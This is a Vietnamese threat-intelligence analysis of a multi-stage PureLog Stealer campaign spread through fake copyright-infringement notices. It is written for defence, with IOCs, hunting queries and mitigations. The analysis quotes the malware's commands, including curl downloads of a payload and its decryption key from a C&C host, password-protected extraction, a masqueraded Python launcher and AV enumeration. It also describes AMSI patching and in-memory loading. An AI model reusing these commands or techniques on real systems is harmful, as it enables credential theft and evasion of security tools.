Chiến dịch PureLog Stealer - Chuỗi Tấn Công Nhiều Giai Đoạn Nhắm Vào Các Ngành Trọng Yếu

Search for a command to run...

No comments yet. Be the first to comment.
Tổng Quan Hãy tưởng tượng: một nhân viên nhân sự tại một công ty hàng không ở Pakistan nhận được lời mời phỏng vấn hấp dẫn từ một thương hiệu tuyển dụng có vẻ rất quen thuộc. Một cuộc gọi video được l

Tóm tắt Ngày 19/03/2026, cơ quan chức năng Mỹ, Canada và Đức triệt phá hạ tầng của bốn botnet IoT lớn nhất từng được ghi nhận — Aisuru, Kimwolf, JackSkid và Mossad. Hơn ba triệu thiết bị bị nhiễm. Hơn

Tóm tắt Không có malware nào trong chiến dịch này. Payload cuối cùng mà nạn nhân nhận được là trình cài đặt chính thức của Level RMM, tải trực tiếp từ hạ tầng của chính Level, cài đặt bằng msiexec với

Phần lớn dữ liệu thu được từ một honeypot SSH internet-facing là nhiễu: dò mật khẩu liên tục, hoặc bot đăng nhập thành công rồi tải payload xuống chạy ngay lập tức. Nhưng ngày 27/6/2026, honeypot của

Từ tháng 1/2025, một nhóm tấn công chưa xác định danh tính đã duy trì hoạt động gián điệp mạng nhắm vào các cơ quan chính phủ tại Afghanistan, Kyrgyzstan, Tajikistan, Uzbekistan, Kazakhstan và Syria,

Một file giả mạo thông báo vi phạm bản quyền đang được dùng để phát tán PureLog Stealer — một infostealer thương mại chi phí thấp nhưng được triển khai qua chuỗi tấn công đa tầng đáng lo ngại. Thay vì phân phối đại trà, chiến dịch này thể hiện rõ dấu hiệu của selective targeting: lure được bản địa hóa theo ngôn ngữ nạn nhân, payload mã hóa được tải từ C&C, và khóa giải mã được lấy động từ server riêng biệt.
Đối tượng bị ảnh hưởng: Tổ chức trong ngành y tế, chính phủ, khách sạn và giáo dục tại Đức, Canada, Mỹ và Úc. Chiến dịch cũng lạm dụng Google Ads malvertising song song với phishing email để phân phối payload.
Rủi ro cốt lõi: PureLog Stealer thu thập credential Chrome, extension trình duyệt, ví crypto và thông tin hệ thống — toàn bộ thực thi trong memory, không ghi file lên disk, khiến nhiều giải pháp AV truyền thống bỏ sót.
Hành động ưu tiên ngay: Block các domain C&C đã xác định, bật behavioral detection trên endpoint, và hunt proactively với query detectionName:*PURELOGSSTEALER* trong SIEM/EDR.
PureLog Stealer vốn được biết đến là infostealer "entry-level" — giá rẻ, dễ dùng, thường được các threat actor ít kinh nghiệm khai thác. Điều làm chiến dịch này khác biệt không phải là bản thân payload, mà là delivery chain được thiết kế kỹ lưỡng bất thường cho một công cụ "low-cost".
Kỹ thuật này không phải ngẫu nhiên — nó tăng đáng kể tỷ lệ người dùng thực thi file vì lure trông "đúng ngữ cảnh" với môi trường làm việc của họ.
DLL sideloading khởi tạo execution
Payload mã hóa giả dạng file PDF
Khóa giải mã được lấy từ endpoint riêng của C&C (không hardcode trong malware)
WinRAR bị đổi tên thành file PNG dùng để giải nén
Python loader giải mã và thực thi PureLog Stealer hoàn toàn trong memory
Hình 1. Chuỗi lây nhiễm đầy đủ của chiến dịch
Chuỗi lây nhiễm khởi động khi nạn nhân chủ động chạy file giả mạo. Không có exploit, không có zero-day — toàn bộ phụ thuộc vào social engineering. Executable sau đó gọi command interpreter:
cmd.exe /c ...
Ngay lập tức, malware mở một file PDF "bình thường" để đánh lạc hướng người dùng:
start "" ".\_\document.pdf"
Kỹ thuật này tạo cảm giác hành động của người dùng là hợp lệ — họ thấy một tài liệu hiện ra đúng như kỳ vọng khi click vào "thông báo vi phạm bản quyền".
Malware tải payload từ C&C với một số kỹ thuật đáng chú ý:
curl -A "curl/meow_meow" -s -k -L "https://quickdocshare.com/DQ" -o ".\_\invoice.pdf"
Custom User-Agent curl/meow_meow: không khớp với bất kỳ browser/tool hợp lệ nào — indicator đơn giản nhưng hữu ích cho network detection
-k (ignore TLS validation): cho phép dùng self-signed cert ở C&C
-L (follow redirect): linh hoạt thay đổi hosting location
File lưu dưới tên invoice.pdf nhưng thực chất là encrypted archive
Đây là điểm thiết kế thông minh nhất của chiến dịch. Thay vì embed password trong malware:
curl -A "curl/meow_meow" -s -k -L "https://quickdocshare.com/DQ/key"
Response được capture vào biến %i trong command line. Thiết kế này có ba hệ quả:
Không có static password → analyst không thể giải mã payload khi offline
Operator có thể rotate password per-victim → mỗi ca nhiễm có thể được kiểm soát độc lập
Có thể vô hiệu hóa payload bất kỳ lúc nào bằng cách xóa key endpoint
".\_\FILE_2025년_재직증명서_원본.png" x -p"%i" ".\_\invoice.pdf" "C:\Users\Public\" -y
File .png trên thực chất là WinRAR executable bị đổi tên, giải nén payload với password lấy động từ Stage 4. Extension .png không ảnh hưởng đến khả năng thực thi — Windows thực thi dựa trên PE header, không phải extension.
del ".\_\invoice.pdf"
Xóa file archive mã hóa sau khi giải nén xong, giảm forensic artifacts trên disk.
cd "C:\Users\Public\Windows"
Thư mục C:\Users\Public\Windows không tồn tại mặc định trên Windows — đây là directory malware tự tạo. Tên gợi nhớ đến C:\Windows hợp lệ nhưng nằm dưới Public, không yêu cầu quyền admin để ghi.
"C:\Users\Public\Windows\svchost.exe" "instructions.pdf"
Hai điểm cần lưu ý:
svchost.exe ở đây không phải Windows service host hợp lệ — đây là python.exe bị đổi tên
instructions.pdf là Python script bị obfuscate, đóng vai trò loader cho hai .NET executable tiếp theo
Trend Micro xác định hai infection chain song song, chia sẻ cùng toolset nhưng có sự khác biệt rõ về operational security:
| Điểm khác biệt | Chain 2 (hoạt động trước) | Chain 1 (hoạt động gần đây hơn) |
|---|---|---|
| Phân phối payload | Tải trực tiếp từ C&C quickdocshare[.]com/DQ |
Đóng gói sẵn trong dropper |
| Khóa giải mã | Lấy động từ C&C /DQ/key — không lưu trên disk |
Hardcode trong command line: efvBE97W7Ke4RnZaDTXOJzgqa04EPfz9 |
| Thực thi cuối | svchost.exe "instructions.pdf" — logic trong binary |
svchost.exe -c "exec(base64...)" — Python routine inline trong command |
| Phụ thuộc C&C | Cần C&C online — liên lạc 2 endpoint | Hoàn toàn offline sau khi dropper chạy |
Chain 2 phức tạp hơn về operational security (không để key trên disk, cần C&C active). Chain 1 đơn giản hơn nhưng key hardcode — dễ bị extract hơn. Sự tồn tại của hai chain cho thấy operator đang iterate và test các approach khác nhau.
Bất chấp extension .pdf, file này là Python script bị obfuscate nặng — mọi string đều Base64-encode, mọi hằng số đều ẩn sau biểu thức toán học nhiều hạng tử. Khi stripped toàn bộ noise, script triển khai 8 capability theo thứ tự thực thi xác định.
Hình 11. Các capability của instructions.pdf
Script vô hiệu hóa Windows Defender AMSI (Antimalware Scan Interface) trước khi load payload, thực hiện qua hai stage:
Stage 1: Patch entry point của AmsiScanBuffer với MOV EAX, E_INVALIDARG + JMP — function này sẽ luôn trả về "not malicious"
Stage 2: Scan forward từ entry point để tìm mọi conditional jump (JZ/JNZ) và thay bằng unconditional JMP — bypass vẫn hoạt động ngay cả khi Stage 1 bị partial detection
Hình 12. Python code patch AMSI trong memory để bypass antivirus scanning
Sau khi vô hiệu AMSI, script load một .NET assembly mã hóa hoàn toàn trong memory. Quy trình:
Bootstrap .NET CLR bằng raw COM vtable calls
Construct SAFEARRAY chứa decrypted assembly bytes
Gọi AppDomain.Load_3() để reflectively load và execute payload
Không có file nào được ghi xuống disk tại bước này. Calling convention được chọn runtime dựa trên kiến trúc 32/64-bit.
Hình 13. XOR-decrypted .NET payload được load và thực thi trong memory
Script tự cài vào autorun registry dưới current user's Run key:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Value name: "SystemSettings"
Tên SystemSettings mimics Windows component hợp lệ. Script xóa value cũ trước khi ghi để đảm bảo path luôn current — malware sẽ re-execute mỗi lần user đăng nhập.
Hình 14. Python script thiết lập persistence
Script chụp toàn bộ desktop ở full resolution bằng Windows GDI API, xử lý raw 24-bit BGR pixel data, xây PNG file hoàn chỉnh trong memory — không dùng PIL/Pillow, không ghi file — sau đó Base64-encode để đưa vào JSON exfiltration payload.
Hình 15. Desktop capture được convert thành PNG và Base64-encode để exfiltrate
Trước khi exfiltrate screenshot, script thu thập:
Hostname của máy
Tên người dùng đang đăng nhập
Tên tất cả antivirus đang cài đặt (qua WMI SecurityCenter2)
powershell -NoProfile -WindowStyle Hidden -Command "Get-WmiObject -Namespace root/SecurityCenter2 -Class AntivirusProduct | ForEach-Object { $_.displayName }"
Thông tin AV này phục vụ mục đích reconnaissance — xác định đây có phải high-value target không và lựa chọn payload tiếp theo phù hợp.
Hình 16. Machine fingerprint thu thập từ hệ thống nạn nhân
Toàn bộ data được đóng gói JSON và gửi lên C&C qua HTTPS. Để tránh gửi trùng lặp sau mỗi lần boot (do persistence Run key), script kiểm tra registry key thứ hai:
HKCU\...\AppModel\StateRepository
Value: CacheVersion = 1337 (DWORD)
Sau lần exfiltrate thành công đầu tiên (HTTP 200), script ghi giá trị 1337 vào key này. Những lần chạy tiếp theo sẽ đọc key này và exit sớm nếu thấy 1337.
Hình 17. Screenshot và machine fingerprint được exfiltrate
Script instructions.py chứa hai .NET executable payload được XOR-encrypt và Base64-encode. Khi thực thi, script giải mã ra Dgrfauysx.exe và Fsywsuac.exe, launch cả hai đồng thời.
Cả hai loader có cấu trúc giống nhau và đều được bảo vệ bởi ConfuserEx — obfuscator state-machine-based phân mảnh control flow qua hàng trăm switch-case branch. Pipeline giải mã:
Gọi ResourceManager.GetObject() với resource name hardcode để lấy encrypted byte blob
Giải mã blob bằng TripleDES-CBC (key và IV embed dưới dạng Base64 trong .NET #US heap)
Decompress GZip stream ra .NET assembly trong memory
Gọi Assembly.Load() — không ghi file nào xuống disk
Thiết kế hai loader chạy song song là redundancy mechanism: nếu một loader bị endpoint control chặn hoặc kill, loader kia vẫn độc lập deliver và execute PureLog Stealer. Cả hai dùng cùng C&C address và registry persistence key.
Assembly được load bởi Assembly.Load() là PureLog Stealer, thực thi hoàn toàn trong managed heap của loader process. Không có file nào được ghi, khiến AV truyền thống scan file creation events không phát hiện được. Sau khi loader chuyển control, nó thực hiện GC.Collect() để xóa object của mình khỏi heap, chỉ để lại PureLog Stealer là .NET code duy nhất đang active.
Hình 18. Chuỗi lây nhiễm đầy đủ đến PureLog Stealer
Hình 2. Malicious lure được tải về từ nguồn không xác định qua Chrome
File ZIP ban đầu được tải về qua Chrome từ:
hxxps://cdn[.]eideasrl[.]it/Notice%20of%20Alleged%20Violation%20of%20Intellectual%20Property%20Rights_1770380091603[.]zip
Hình 3. Malware thiết lập persistence trên hệ thống
Python DLL và PYD files tạo dưới C:\Users\Public\Windows\:
C:\Users\Public\Windows\python314.dll
C:\Users\Public\Windows\DLLs\_ctypes.pyd
C:\Users\Public\Windows\DLLs\libffi-8.dll
C:\Users\Public\Windows\DLLs\_hashlib.pyd
C:\Users\Public\Windows\DLLs\libcrypto-3.dll
C:\Users\Public\Windows\DLLs\_socket.pyd
C:\Users\Public\Windows\DLLs\_ssl.pyd
C:\Users\Public\Windows\DLLs\libssl-3.dll
Hình 4. Antivirus enumeration trên hệ thống nạn nhân
Hình 5. Process injection attempt nhắm vào svchost.exe
Hình 7. CyberChef recipe để extract machine fingerprint
Hình 8. Machine fingerprint sau khi decode
| Field | Giá trị quan sát | Diễn giải |
|---|---|---|
| 1.1.1 | FD16FECEDAB57B025AB53AD9CA4C882F | Machine/session unique ID |
| 1.1.4 | Windows Defender, Trend Micro Apex One | Sản phẩm bảo mật đang cài |
| 1.1.5 | Windows 11 64Bit | Phiên bản OS |
| 1.1.6 | 4.3.0 | Phiên bản malware/agent |
| 1.1.10 | 64.40.154.96 | External IP của máy nạn nhân |
| 1.1.15 | C:\Users\Public\Windows\svchost.exe | Path executable đáng ngờ |
Hình 10. VirusTotal liên kết IP 166.0.184.127 với PureLog Stealer, instructions.pdf được quan sát giao tiếp với C&C server này
Hình 6. Trend Micro Vision One telemetry cho thấy GZip Payload
Payload fingerprint được decode theo pipeline:
Base64 Decode chuỗi ban đầu
GZip Decompress ra dữ liệu có GZip header
Protobuf Deserialize theo schema Protocol Buffers
Chiến dịch này minh họa một trend đáng quan ngại trong infostealer ecosystem: threshold kỹ thuật để triển khai multi-stage fileless attack đang ngày càng thấp. PureLog Stealer là công cụ low-cost, nhưng delivery chain ở đây có độ tinh vi ngang với nhiều APT campaign — infrastructure-controlled decryption, dual-loader redundancy, reflective CLR loading, và anti-forensics tích hợp ngay trong loader.
Điểm đặc biệt cần lưu ý: thiết kế "khóa giải mã từ xa" không chỉ cản trở phân tích mà còn cho phép operator tắt toàn bộ campaign ngay lập tức bằng cách đơn giản là xóa key endpoint. Điều này đồng nghĩa với việc incident responder có thể không thu thập được payload ngay cả khi đã có sample của các stage trước — đúng như Trend Micro gặp phải khi không thể lấy instructions.pdf trong lần response đầu.
Từ góc độ SOC, việc này nhấn mạnh tại sao memory forensics và network telemetry quan trọng hơn disk artifact. Trong môi trường fileless, các chỉ số đáng tin cậy nhất không phải là file hash mà là: network connection pattern (custom User-Agent, domain pattern), in-memory .NET assembly load, và bất thường trong registry Run key.
Việc chiến dịch kết hợp cả phishing email lẫn Google Ads malvertising cũng đáng lưu ý — nó mở rộng attack surface ra ngoài inbox, bao gồm cả người dùng tìm kiếm trên Google. Các tổ chức chỉ training nhân viên về "đừng click link trong email" chưa đủ bao phủ vector này.
Block các C&C domain và IP đã xác định trên firewall/proxy:
quickdocshare[.]com
dq[.]bestshoppingday[.]com
logs[.]bestshopingday[.]com
mh[.]bestshopingday[.]com
logs[.]bestsaleshoppingday[.]com
166[.]0[.]184[.]127
Tìm kiếm custom User-Agent curl/meow_meow trong proxy log và network flow — đây là indicator đơn giản nhưng khá độc nhất, ít false positive
Kiểm tra registry key HKCU\...\Run với value name SystemSettings trỏ đến path không nằm trong C:\Windows\System32\
Chạy hunting query trên toàn bộ fleet:
detectionName:*PURELOGSSTEALER*
Hunt thêm với pattern file system:
endpointHostName:[TARGET] AND ("*document.pdf*" OR "*instructions.pdf*" OR "*invoice.pdf*")
Kiểm tra process list tìm svchost.exe chạy từ path ngoài C:\Windows\System32\ — đặc biệt trong C:\Users\Public\
Review alert về Assembly.Load() từ process không phải .NET IDE hay development tool
Train người dùng nhận diện lure vi phạm bản quyền — không chỉ qua email mà cả qua search result/ads
Triển khai behavioral detection cho in-memory .NET loading pattern — rule trigger trên AmsiScanBuffer patch attempt hoặc AppDomain.Load_3() call từ process không thuộc whitelist
Xem xét script-level logging (PowerShell Script Block Logging + AMSI logging) để capture obfuscated script execution
Với tổ chức có môi trường y tế hoặc chính phủ: ưu tiên review network egress rule, đặc biệt cho các request với User-Agent pattern bất thường hoặc curl-based download từ endpoint không thuộc whitelist
detectionName:*PURELOGSSTEALER*
# Network: custom curl User-Agent
user_agent:"curl/meow_meow"
# File system: svchost.exe ngoài System32
file.path:"C:\Users\Public\Windows\svchost.exe"
# Registry persistence
registry.key:*CurrentVersion\Run* AND registry.value.name:SystemSettings
# Process: Python giả dạng svchost
process.name:svchost.exe AND process.executable:*Public*
| File | SHA256 |
|---|---|
| Malicious ZIP (lure) | 35efc4b75a1d70c38513b4dfe549da417aaa476bf7e9ebd00265aaa8c7295870 |
| ADNotificationManager.exe (lure EXE) | 1539dab6099d860add8330bf2a008a4b6dc05c71f7b4439aebf431e034e5b6ff |
| urlmon.dll (shellcode loader) | ac591adea9a2305f9be6ae430996afd9b7432116f381b638014a0886a99c6287 |
f4532fc1e5d53a732fcc883f7125ceb06b985048
Domains:
quickdocshare[.]com
dq[.]bestshoppingday[.]com
logs[.]bestshopingday[.]com
mh[.]bestshopingday[.]com
logs[.]bestsaleshoppingday[.]com
IP Addresses:
166[.]0[.]184[.]127 — PureLog Stealer C&C
64[.]40[.]154[.]96 — Tier.Net Technologies LLC
172[.]64[.]80[.]1 — Cloudflare (CDN, thấp giá trị)
Nguồn tham khảo: